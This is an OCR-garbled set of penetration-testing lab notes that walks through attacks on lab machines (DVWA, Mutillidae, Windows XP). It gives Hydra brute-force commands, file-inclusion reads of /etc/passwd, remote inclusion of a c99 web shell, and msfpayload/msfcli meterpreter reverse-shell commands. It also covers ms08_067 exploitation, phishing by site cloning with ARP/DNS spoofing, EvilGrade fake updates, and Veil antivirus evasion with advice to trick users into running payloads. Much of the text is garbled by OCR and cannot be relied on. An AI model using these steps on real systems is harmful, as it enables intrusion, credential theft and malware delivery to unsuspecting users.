Daba: Wed, 14 Aug 2013 23:24:45 GMT

Sarver: Apacheaf2.2. 14 (Unc) DAY 2 mod_sslf2.2. 14 OpenS5L0.9.8] PHPS. 3.1 mod_apreq2-20090110/2.7.1 mod
i-Powered-By: PHPJS. 3.1

Expres: Tue, 23 Jun 2009 12:00:00 GMT

Cache-Conktrol: no-cache, must-revahdate

Save all.., | Replay, .. : Capturs

e Put the information in bruter
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eb Form Option
I
Form URL: | ;

FReqguast Oplicns:
Method: | GET ~
Target Page: | EEpz {192, 168. 1.2 vwulmer abilities fbrute [
Cookle: | PHPSESSID=y3kofmps Fp4skoooonfpsnfacs; security=high

Cookie URL: |
Referer: ' htbp: ff192. 168, 1. 2 ulnerabilties/brutef I
— v h
User Agent:  Mozillaf+ .0 (compatible; MSIE 6.0; Windows NT S, 1) e
Qpery String: ! usun’ne—";'kusmrﬁnﬂﬁmmrd-%pmmr@oﬂn;Lﬁjn";hZE
[T Walue
LIS B e Sors BT A e s
password Sepasswordeh
Loge Lioginms
Responss Tesk:
Lse Megative Result [] Follosy redirection
Skrireg 1: | Usernames andfor password incorrect. |
String 2: | h
I (=TS ] | cancet | %

e Choose to use the brute force

Fie Setting Log Help

Connecton Opthons
Torget | 192.166.1.2 |

; m— Wi ;
eotcs (webrom )| [_open ] < oot
Caonnections: S

Port: | 20 | Clsst —
" Mac Retry: i | =
User Qption . —— B _Es
o [ =
Wit For rebry: 00 |ms
Password Modes Wait For each bry: | O [ms
o Max Attempl [
Ccombo: | [ Browse.. |[ option | ot
[pictionary: | password | [ srowse.. || option | [Jstop when Found one
[#] Brute Force Cpthon [Passward Eirst
Resukt Testing | Messags h B

Target Service Liser Password Mote |

e Try in the mutillidae website with burp suite. Change the proxy settings in firefox to be ip address 127.0.0.1 and

port no 80. It was difficult to use.
e You can use the hydra tool
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Use Bruter tools

Use burpsuite Tools

4
hydra -| admin -P /root/Deskiop/pass.ixt 192168 4 6 hitp-post-form
"mutllidae/index, php?pRie=login, php.username="USER"&password="PASS"&login
php-submit-bution=Login.Not Logged In"

the username
the wordlists

your target host, it can be change using domain
the service module

[ _ path application

input form

input form
input form at submit button

error message when the application failed to log in

A v X root@bt: ~
File EQit View Terminal Help

& hydra -1 adnil

/mut1llidae/1ndex.php?page=loqln. php:usern

tton=Login:Not Logged In i

c)2012 by van Hauser/THC & Davi

Vara | .-II ‘E J IJI 1 Ac 0 r|;: 1 e K vdra) | 3t ing i &
| er, 10 login tries (Ll:1/]
vice http-post-form on port

or 192.168.1.6 (waiting for
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—
Local File Inclusion mean loading local file such as /etc/passwd , /ete/host on the php

web pages. There are many programing mistake for octufring this vuln@fability. When

r

Remote File Inclusion (RFI) is a type afvulnéﬁhility most often found on websites. If
allows an attackerto include a remote file, usually through a script on the web server.
The vulnerability occurs due to the use of user-supplied input without proper
validation. This can lead to something as minimal as outputting the contents of the

e In local file inclusion, if the web application has the hole local file inclusion, through this hole we can read files
inside the webserver like /etc/passwd .
o In DVWA, go to file inclusion.

o 192, 168,12/ vuiner abilties Fij7Jage

e Change include with the file you want to download /etc/passwd

e 182, 168.1, 2/vulnsrabibies/filpages etz fna

e Most important file we can download

fetc/passwd

loptilampp/etc/proftpd.conf

e In windows machine we use another command

Page=../../../boot.ini

http: /192,168, 1.5/ pPpage=/ete/passwd X Darrin Yulrierable ¥

P 192,168, 1, 5jmutilidasfindex php?pages, /., [.. [boat.in I
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r)_Remote File Inclusion (RFI):

e When the web application has this hole, we can put another page inside this website. This web page called web
shell.

e Understanding web shell

Shell is a shell wrapped in a PHP script. It's a tool you can use to execute arbitrary
shell-commands or browse the filesystem on your remote webserver. This replaces,
to a degree, a normal telnet connection, and to a lesser degree'a SSH copngction.

You use it for administration and maintenance of ynurweb@ﬁe, which is often'much
easier to do if you can work directly on the server. For example, you could use PHP
Shell to unpack and move big files around. All the normal command line programs

like ps, free, du, df, etc... can be used. y

e The shell is written any programming language, and mostly in php. Through the remote file include we can gain
access in the web server and apply the shell on it. There are some ready shells like C99.php, R57.php, C100.php.
e (99 shell

Software: Apache/2.2.14 (Win32) DAY/2 mod_ss1/2.2.14 OpenSSL/0.9.8] mod_autoindex_color PHP/5.3.1
uname -a: Windows NT XP-1 5.1 build 2600 (Windows XP Professional Service Pack 2) i586

de:
plite\htdocs\shell\
r 98 GB of 39.99 GB (89.97%)
Detected drives [ 1[c]1[d1[f]

4 3
e F g ‘ Encoder Tools Proc, FTPbrute Sec. SQL PHP-code Update Feedback Self remove Logout
Server security information:
Dpen base dir:
Download
i Command execute

Enter:

i Shadow's tricks :D i

1 Preddy’s tricks :D 1

e R57
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& @ 921605l fre GHI' Geoge fﬂ L

e Web server shell to execute any program\

€ @ 115y 727 ¢ (- o

| Submit Query |

lesults for :

HTML ><BODY
FORM METHOD
INPUT TYPE
INPUT TYPE
FORM

t" ACTION="htrj
" HAME="command"

5 F
BODY

'HTHI

o Put the shell in the folder /var/www. Put the shell as text file in the hacker computer. Start the apache server
e Go to mutillidae web site.

& mutilidae/index hp?page=hame pho

e Change home.php to the hacker computer shell address http://192.168.52.134/c99.txt
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http://192.168.52.134/c99.txt

fle Edit View Hstory Eookmarks Tools Help

5 ’l}‘ mutildaelindex php?page=hetn /182,168, 1 369,04 GENED "2 (B oo an
{QDisablev & Cookies™ »CSS¥ [JForms” ([limages” {information” [ Miscellaneous¥ /Outine™ /'Resize™ Tools™ |View Source™ |4 Options™ ¢ &

Home  LoginRegister ToggleHints  ToggleSecurty ResetDE  Viewlog  View Captured Data

[c99Shell v. 1.0 pre-release build #16!

buntu SMP Tue Jun 18 18:00:21 UTC 2013 i666

Search FBuffer Encoder Tools Proc. FTPbrute Sec. SOL PHPcode Update Feedback Self

Listing folder (31 files and 8 f

e Try in the dvwa. But instead of local file we put the shell website address

http://192.168.52.134/dvwa/vulnerabilities/fi/.?page=include.php

http://192.168.52.134/dvwa/vulnerabilities/fi/.?page= http://192.168.52.137/c99.php ?

http://192.168.52.134/mutillidae/?page=text-file-viewer.php

http://192.168.52.134/mutillidae/?page= http://192.168.52.137/c99.php ?

> f | @ 102.168.1.20 1page=http 18 GNHaamo" -2 B

DDisabler X Cookies¥ CSS¥ [JForms¥ |diimages¥ #finformation™ [ Miscellaneous™ 7 Outline¥ Resize¥ KTools™ (@\iew Source¥ | Options™

) DAV/2 mod_ssli2,2.14 OpenSSLIQ f mod_perls2.0.4 Perl/
4-generic #41-Ubun SMP Thu Aug 19 2
4(nogroup) groups=63534(nogroup)

o tdocs/ulnerab Ay drwxrxex
ree 214.12 ME of 2

s Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Owned by hacker

Perms

dr %
drwxr-xr-x

e We can create payload and upload it in the web server

lopt/lampp/etc/php.ini
letc/passwd
lopt/lamppletc/proftpd.conf

; N
msfpayload php/meterpreter/reverse_tcp LH93T=192.1EB.1 3 LPORT=5555-1
raw > eduros.php 4 L3

Msfconsole

use exploitmultithandler

set PAYLOAD php/meterpreter/reverse tcp
set LHOST 192.168.1.7
set LPORT 4444

exploit
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http://192.168.52.134/dvwa/vulnerabilities/fi/?page=include.php
http://192.168.52.137/c99.php
http://192.168.52.134/mutillidae/?page=text-file-viewer.php
http://192.168.52.134/mutillidae/?page=text-file-viewer.php
http://192.168.52.137/c99.php

o Create the php/meterpreter/reverse_tcp payload in the hacker computer

* root@bt: ~

{le Eait View Terminal Help

# nsfpayload php/meterpreter/reverse tcp LHOST=192.168.1.6 LPOR

t raw > eduors.poho

e Open the file and remove the hash command in the php file.
e Go to /var/www in hacker computer and put on it the payload. Start the apache service.
e Open the multi handler in the same way

anieer
PAY L GAD T
PaYl

o Using the browser upload the payload to the web server.

192.168.1.5
L3
Linux Eloffensive Security KNExploit-DB W Aircrack-na [lSomaFM

o It will open the meterpreter session

Al el A - — FPRIE— TR
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s)_File Upload Vulnerability:

* Uploaded files represent a significant risk to applications. The firststep in
many attacks is to get some code to the system to be attacked, Thenghe attack
only needs to find a way to get the code executed, Using  file uploadiielps the
attacker accomplish the first step. /4 "

The consequences of unrestricted file upload can vary, including complete
system takeover, an overloaded file system, forwarding attacks to backend A
systems, and simple defacement. It depends, 0 What the application does with

the uploaded file, including where it is stord.

0 paziita I irefox
e ook ks {ool  Halp

n ;\' F kg [ s sl - DK Fagnlossc] Ninicde s

File Upload

Select e ¢ CADOCUMEnts and ‘."n"h'|||'|".'l.|"..-'|"|'||'-|!| Elrowves o

[ Upload |

o It means that the website enables us to upload some files such as images or scripts. We can upload shells and
makes it excitable and we can control the web server. We can make reverse tcp payload and upload it in the web
server and make it excutable and we control the web server

e Go to DVWA and change security low. Go to file upload and upload shell.

Vulnerability: File Upload

Choose an image to upload:
Browse, No file selected

Upload

N succesfully uploaded!

e Browse the shell

192.168.1.4
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File Edit View History Bookmarks Tools Help

15216814 Ws0251
\H St (¢ 19216814 ] |ﬂ, Q| @ vl

WBackTrack Lnux [joffensive Security []Exploit-0B WAirerack-ng [ SomaF

[Pnp] [ String tools | (efo [ Netwaork |

File manager

B ame Permissions Actions
LI} RT
Bi.] Arwr-xr-x RT
B(sn) RT

RTED
RTED
RTED
RTED

milpng

64.59 K
64.59 KB

e Upload the payload in the website using the upload hole.
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Vulnerability: File Upload

Choose an image to upload:
Browse... | No file selected.

Upload |

o EEETERRTTAGEL PTG succesfully uploaded!

o Execute the payload. Meterpreter session will open.

192.153.1.4." ackable/upioad:
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t)_ CSRF Vulnerability:

o Cross-site request forgery, also known 88 8 one-chck attack of s888ion
riding and abbreviated as CSRF (somaetimes pronounced sea-surfor XSRF. s
1 type of malicious exploft of webiite whereby unauthafizid er
transmitied from a user that the website trusts  Unlitp€ross-site -
scripting (XSS), which exploity the trust a aier has fof o particular site, CSRF

expioits the trusd thal & 48 has in 3 user's browial, i

i

e Through CSRF hole, we can create and change user information and change certain data in the web site
e We need tool called csrf tester. We can download it from the web site. I did not try to apply the method as it was
difficult.
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6. Part E: Windows and Linux Hacking

a) Understanding Server Side Attack and Client Side Attack

—

S—

Hacker use exploit can be lunched over network and worﬁ'ﬁthout any actioft from
user

*  The exploit in system or 0.8 can use metasploit for attack by server side attackjy

£ R

These are attacks that target vulnerabilities in client applications that
interact with a malicious server or process malicious data. Here, the client
initiates the connection that could result in an attack. If a client does not
interact with a server, it is not at risk, because it doesn’t process any
potentially harmful data sent from the server.

Reverse-connecting Trojans let an attacker access a machine on the internal network from
the outside. The hacker can install a simple Trojan program on a systemon thé.internal
network such as the reverse WWW shell server. On a regular basis (usually every60
seconds), the internal server tries to access the external mastersf/stem to pick up
commands. If the attacker has typed something into the master system, this command is
etrieved and executed on the internal system. Reverse WWW shell uses standard HTTP. It's
dangerous because t's difficultto detect—itlooks like aglientis browsing the Web fro'?n the.
internal network.
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ATTACKER or SERVER PART

CONNECTED
SUCCESSEULLY

LAN: 10.0,0.2

N fhda - VICTIM/CLIENT

The Trojan program will make server which can be installed in the client computer we want tohack. The reverse connection
will make the server in the client computer makes connection on the Trojan program.
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b)_Hacking windows xp by ms08 067 netapi32

+ This module exploits a parsing flaw in the path canonicalization codeof:
NetAPI32.dll through the Server Service. This module is capable-of byﬁ?ﬁing NX on

some operating systems and service packs. The correct tl?at must be Mo

prevent the Server Service (along with.a dozen others in ffie same process) from
crashing. Windows XP targets seem to handle multiple successful exploitation
events, but 2003 targets will often crash or hang on subSequent attempts. This i "
just the first version of this module, full support /BF NX bypass on 2003, along with™
other platforms, is still in development.

e Steps to attack windows xp sp3

config
Neeap -A 192 168.1.0-254
Msfconsole

Use exploit/windows/'smb/ msld 087 netapl
Set RHOST 192 168.1.8
Explodt

e Scan the subnet using the command nmap —A to find windows machine
Nmap - A 192.168.1.0 254
Msfconsole
Use exploit/windows/smb/ms08 067 netapi
Set rhost 192.168.52.132 (the other win xp machine that has the exploit)

exploit
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e Then you can work in the interpreter session and write any command.

e Some commands: ls, sysinfo, hashdump, screenshot, ipconfig, shell

e When you go to shell you can use the dos commands: net share, ipconfig /all, tasklist, net user, net share, netstat -
anb

e You can run payload in the computer using this hole

Msfconsole

Use exploit/windows/smb/ms08 067 netapi

Set PAYLOAD windows/meterpreter/reverse_tcp

Set LHOST 192.168.52.135

Set LPORT 4444

Set RHOST 192.168.52.132 (the other win xp machine that has the exploit)

Exploit
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¢)Server side attack hack windows ms 03 026 dcom

 This module exploits a stack buffer overfiow in the RPCSS service, tig Yulnerabilty
wis originally found by the Last Stage of Delirkus research Group 4N W been

widely explotted ever since. This module can exploft the Engih versionsigh
\'nnr'aﬂHT 40 5P, Windows 200, Windows 1P, andkﬁdm oty ?hn*t

e You can use also armitage

- - v .
3 t 37 = res nd M ‘|
- T £ the v M
AW 2 Wlialy % - 3 )

Ogtan Ny L]

ST 19

PORTY 471

- 19

'_.' "
Targats O => Wndows NT 3P IL4020000P200F Ustetrial =

e & reverie (Onmlton
Shis SNl ed Opting

Launh
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d) Client side attack: Hack Windows by Java Signed Applet

= — - S———

This cxplodt dynarmicaly croates a Jar fike viathe Nyl : E:;-h:r “Jva rmirL thenslanathe it
Tha resuking signed appiet is prosentad to the victm via a web page with an spplittag. The
victim's JVM will pop s dislog asking if thay trust e signed azpldt gﬁ'ulﬁew o0 Mo
diabog will diaplay the value of CERTCN Inthe “Publisher” Ene, Npwte JYM) ﬁm
'ummm" whin the signature is nat trested (Le. I8 motaiafod by a trusted CA). The
aningCantoption sllows youto provide a trusted code sigaing cert, the valoes Inwhich will

mtrrr:'-* CERTCN. If SigninaCertis nck given. a randomiy gonePaled seifakgned cert will P
uaed. Either way, once the user ciicy “ron”, the :;p}uﬁcm with full paer peeminsiom,

L T N—

[ S—— =

el T e e R el ]
s e e e T e

— —
e
—

B = i =

o ———

e It is a client side attack. When the hacker uses java signed applet module in the metasploite it will act as web
server and will have a website that have Java meterpreter reverse tcp payload. It requires that the client have java
application to execute the java payload. Anybody will go to the website will download and install the payload
and the hacker can control the computer. It can hack any machine that has the javal application.

e You set the the LHOST and the RHOST the hacker ip address. The LPORT can be any port and RPORT put
8080 or 80 or any other port. Put the URI part /.

Torgets | O = (el (Jave Favioad)

$haw advanied cpties
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DNS)

o We will do fake site for www.google.com and when any person in the local network wants to go for this web site he
will come first for your fake website and the fake website will download payload to the client computer.

e Go to back track then exploitation tools then social engineering tools then social engineering toolkit then the set
command.

Set > ./ setup.py install
/set-update

Jsettoolkit

e Choose 1 for social engineering attack. Then 2 for website attack vectors. Then 1 for java applet attack method.
Then 2 for site cloner.
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e Then choose n to apply the method for the computers in the internal networks only. Put the Ip for the hacker
computer 192.168.52.135. Then put the website that you want to make phishing for it http:/www.google.com.
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o It will ask you the type of payload you want to use with java signed applet. Choose 12 which is SE toolkit http
reverse shell encryption support

o Put the port listener 6666
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o Write the command: ettercap —G the get the ettercap GUI. Put sniff and choose the interface then choose unified
sniffing. Then choose hosts then go to host list. Then go mitln and choose arp poisoning, poison one way. In plugins,
choose dns_spoof plugin. Then choose start sniffing.

fusrslecat/share/ettercap/elter. dns-
~ w ¥ gttercap 0.7.4.1

Lt Drpets Hosts View Mam Filters Loggrg Plugirs Help

| IP Address MAC Addess Descrigtion
1 192.16823.1 0050.%4C0.0008

] 192168232 OOS0S&FESEBD

192.108 73.214 000C:29:12:19.30
192.1¢8.23.25%4 003034 FBFDSF

k

Deicte Host Add to Target 1 Add to Target 2

GROUP 1 : ANY (all the hosts in the E1t)

| GROUP 2 : ANY (all the hosts in the hst)

e When the client in the internal network go to www.google.com , he will go to your fishing site. You will see in back
track set command a shell where you can write commands for the client computer. Try the commands ipconfig,
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f) Hack Windows by Browser Autopone

Thus module has three actions The first (and the defauit) is WebServar’ which uses

b combination of chant-1ade 154 verver-1ide techaigues 10 fingerprstWETP clients

nd then sutomatically exploft thee Nest is DefasgedDeticLon -'--thﬁ:'ﬁ*,
™

the fingerprintng part Lastly sl smply prints t™e rr-ﬁ"—;-' a1 eaphodt modules
that wodd be used By the WebServer acion given e corrent MATCH and
EXCLUDE optons. Also p3ds 8 Tl command whath i3 he same as running with
ACTION:I

e The hacker can make his computer a fake webserver and he can make on it a website that can utilize the client
browsers security holes to hack its computer. Any client will visit the hacker website, it will apply the exploits
for the browser.

o Start armitage. Search for browser _autopone. Put LHOST and SRVHOST the IP of the hacker machine, the
Srvport = 80, URI Path=/

MmEage \Yea HTE KT WOrpaies Hep
ML
v & o )
v & waoria |
Sk Qeye »)
¥ e
23
fie_sutcpwn
v ) espiot “ served/browier_sutopwn
¥ erdom WETP Chiet Autimati Diploter
v broate .
L BLIeEE wre This madd havs three actom. Tha Arst (0] the defalt) s WebServer
LN whei uses 3 (ombnation of Chart 4de 00 venaey Sade techrig B i
'd:;v‘ Pangerert WTTE rlamty and Phaa b fam gt ph gt Mogm biget id 4
v @ ardomy Option o Vaka
v mana e LHOSY 14223 130 |
blirule T 0000 \
RPORT 3]
e (s]
1 .
tile
A Te LR
" PVirpen 1318,
| Comasin X | URPATH

MTASAOIT CVERR NISSILE (DMmAAND
, Show adanded cptioes

/

e You can shorten the url using the website bitly.com. When it will hack the client , it will open the meterpreter
session.

Note: The antivirus will detect the autopone and block the connection
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g)_Client side attack: Hack Windows by firefox faked add on

Thes explont dynamecally creates 2 api addon file The resulting bootsifapped
Firefox addon is presanted 10 the victim vis 3 wib page with, [ he victe Firetox
browser will pop 8 Galog asking f they trust the §odcn OACHIM user

“entail” | the pA30n it inslalied and grecuted the ;q;'.-:-a-#i'ht full urer permisgions
As of Firefon 4 ey wll worh wtha0t 9 reatart 09 ™8 p330n0 i marhed to be
"pootstrapped”. As the 30300 will execute the payload sfter each Firefon restarjan
SPUoN Can be preen 10 aulomatically ureralall thalldon once 1he piryioad has beel
tiecuteg ‘

o The hacker can make his computer a fake webserver and he can make on it a website that has fake plugins. Any
client will visit the hacker website, the firefox will try to download the plugins and will download also java
meterpreter reverse tcp payload.

e In the msfconsole, search firefox. Use the exploit/multi/browser/firefox xpi_bootstrapped addon. Set the
payload windows/meterpreter/reverse_tcp. Set the Lhost and Rhost the hacker computer and the Lport any port
and the srvport to be suitable port.
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e To see the sessions we writes the command "sessions —I". To choose the first session write "session —I 1".

Note: The firefox will detect the unverified plugins and will not install it
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h) Client side attack: Hack Windows by encoding payloads to bypass antivirus

The Vell team worked on adding a couple new features to o the wisliing and
we 1o RpEy 10 40y that we wert a0 10 push them out istolhe 1ol TRetwe ma-
featiures that have been added 10 the tool are \

vl compatibiity - Ved originaly was designed for add verisons of bayx (or Ral
specically)  Over the weekend, we ve updaled our setup scripl 1o make ve
compatible with both 1hd and xfd versions 50 now yoll Bhouldn T have insues
reneng it on aay version of linya /!

e Download Veil-master tool
# cd Veil-master
Cd setup
/setup.sh
Python veil.py

e Choose list

e Choose the payload 9: Powershell/virtualalloc. Then choose generate the payload. Choose msfvenom. Choose
the windows/meterpreter/reverse_tcp. Choose the lhost the ip of the hacker machine 192.168.52.135. Choose
any Iport. Choose the name of payload.
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e Attach the payload with another program using any archive program such as winrar. Then use the icon changer
to change the icon . Ask the client to download the file using any trick
e Operate the multi-handler tool msfcli to hack the client>

# msfcli multi/handler payload=windows/meterpreter/reverse tcp lhost=192.168.52.135 lport=4444 E

o After the user open the program, the meterpreter session will open
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i) Hack windows by fake software update

EvilGrade exploits weaknesses in the auto-update services of multiphe CoOMmenon
software packages ' iz able 1o trick the service info beleving thete is & Signed
update available for the product thus prompting the user 1oinEtall the _
Unfortunately the upgrade is in actuality an stlacker's ;qﬂ’o:d The nefarious part
about this product is that it ks very diffiCUR Tor the average user to detect! Since it
utilizes the software's own update process, there is pesuspicious looking box B¢

popup that would seem out of the ordinary; it wodlid look just ke any other
legitimate upgrade 4

[-ll-l. oo '*_‘j.."'-t: e ol Wor

tar xovf sr-evilgrade-2 0.0 lar.gz

cpan Data: Dump

o We will do fake update for windows and through the fake update we will download the payload type windows
interpreter reverse tcp which will do reverse connection with the hacker computer and through the meterpreter
session you can control the client computer.

o Install evilgrade. To get the modules type

#./evilgrade

= root@bt: ~/isr-evilgrade

# configure winupdate
# show options
o Create the payloads in other command lines

# msfpayload windows/meterpreter/reverse tcp lhost=192.168.52.135 Iport=5555 x > /root/hedayal.exe

o Return to evilgrade to tell it about the payload
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e Edit the file etter.dns

® ar Tor NMONS QuUery

[ ooy WING 147T.0.9. 1

[ L. NINS 187.6.9. 1

”

F NCTE: e wilSoarded baates caa"t ba weed T ptilsom Ehae PFTR res
' 02 1T you wan® %9 reverse peisen gou have Te wpedify & B
- *x3 % b [ loahk &% The wew BicressTt. com aneng e

.

FEFPFFRAFPFPRATFPRRSFFRFRREFRAGFPANF PR FRFEIEFFAGFRARSFPREFFREBEFRATPRE

BEASERIAFFAAT PRSI PRSI RALFRALTRE

F micrepa?t wechs

o redirect 1t 1o www. lines a4y

L]

rptepnd - Ve seurceTergs may d L2 L0E. 2% 13D
vindowispdate sicreasft con A& 160108020 130
Update wioresatt. coe ] 152,168 28 10

v sicreseft.com 4 16Q2.168.28.130 |

oo . et cresett. Con # mlécards an FTR are nat alliowed

AP AT FAA T PRAA P FAAPFAA AP P PASA PSP
# oDl el Thaere C Nivd UM Ol
]

e Operate ettercap in command line

# ettercap —T —Q —M —P dns_spoof /192.168.52.2/ // ( ip of the machine gateway)

'r':tlrfq;- 9.7.4.1

e Operate the multihandler

#Msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.52.135 Iport 5555 E

e Go to evil grade and write stat

Evilgrade > start
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>status

« Test on the client. The client will do windows update. The client will go windowsupdate.microsoft.com. From
interpreter you can control the client computer. The command run vnc can do anything in the client computer.
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j) Hack windows server 2008 with MS12-020

This module exploits the MS12-020 RDP vulnerabiity originallygiscovered
and reported by Lulgl Auriemma. The flaw can be foupdrrthe waythe 1.125
ConnectMCSPOU packet is handled in the maxChanpefiDs field, whieh wa
result aninvalid pointer being uséd, therefore causing a denial-of service
condition A

e MSI2 is exploit that targets the RPC service that is responsible on the remote connection.
e You can use the rdpex.py script in the cd to crash the server

e To discover the network use
netdiscover —r 192.168.52.0/24

nmap —sV —O (IP address) to scan for services and see if the terminal service open (port 3389 ms-wbt-server)

e You can use the rdpex.py script to crash the server
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k)_Client side Attack: Hack windows by BeEF

B4EF in short for The Browser Expicitation Framework. R is a pendtraton beatag ibel that
focuses o e wod Beswmr

-

Amid growing concems about web-barme amacks squinat cliests. incjiding mabilttiiont.
BafF o awsthe profespandl penetratson tosler 10 398298 the Htmwi Ry posture of

target ermvironment by wning cliont-side attack vectors. Usiiie othaf security frameworts, BeEF
‘20N panl the hirdenad nete o). perimcter 3o Coonl aystom and erdmines cIp{ofabity
within B contert of the 0ne open door: the web browner BeEF #Tl oot one or mace wed A
Beowsers and use them 49 beachheads for iunching ::Z:dcmma rodycs and uthet

a=ackn 3030t the systom from within the browser ¢o

e It is web application. When the client browse this website, the hacker can apply java payloads on the client
computer.

e Go and install Beef from back track, go exploitation tools, social engineering tools, BeEF XSS framework,
BeEF

o After the installation, you will get the hook url and uri url

Hook url: http://127.0.0.1:3000/js

Uri url: http://127.0.0.1:30000/uri/panel

7127.0.0.1: 3000/51/

e Use the username beef and password beef to enter the control panel
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http://127.0.0.1:3000/js

Focked Browsery
| Ondra Browyers
| Ofre Browsers

Bedore bewyg abie o Ly eapire P Fareeont poy ol have & Yook 8 broeer 3 Degr e o Can
ot 8 browter IowarSs P Dand Jeme poge tery O T adsanCed veron fery

A 3 trpmtar m Pewaed £ Te Y aveers Py ol ges ¢ Te Sosed Bt el on Pe
R Mooed briwsens wll iges 1 el rire o OFiee dlale depeniey on how recendy Pey
e poded Pe B aveson

Hooled Browers

e Change index.html in the apache / var/www/index.html and restart apache2

‘HI-; ul-m | Qome | Diumm B

el
Chaed
“Iitles cading «1itle
astrigt o= RN /A7 0. 0.1 J3000 ek 4" wrsaripls
< hard:

wloady »obls! sadity oWl

e

e We can redirect the browser to certain website

o In the armitage, create the java_signed applet payload and put the SRVhost ip and lhost ip same as the hacker
computer ip. Take the link and paste it under redirect browser section in the beef application. When the client
will enter the link the computer will be hacked
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You can hack any inux machin used wine program

Wine program run windows file on Bnux

-

e paryicad b LS materpreteureyerse _1cp LMOST « 112 148 70 1
R . matencode -t off ¢ 1BSshibats 28 nal >> ¢dad

Mol mullihen®er paylopds limye 114 ‘”F-"l'”f!‘rtﬂﬂ =
Most= 192108 28 11 to44id B '

o The linux has less number of holes than the windows, but linux can be hacked with payloads.

e Got to msf3 folder and write the command msfpayload linux. Then use the command msfcli multi/handler to
control the hacked machine when the client run the payload
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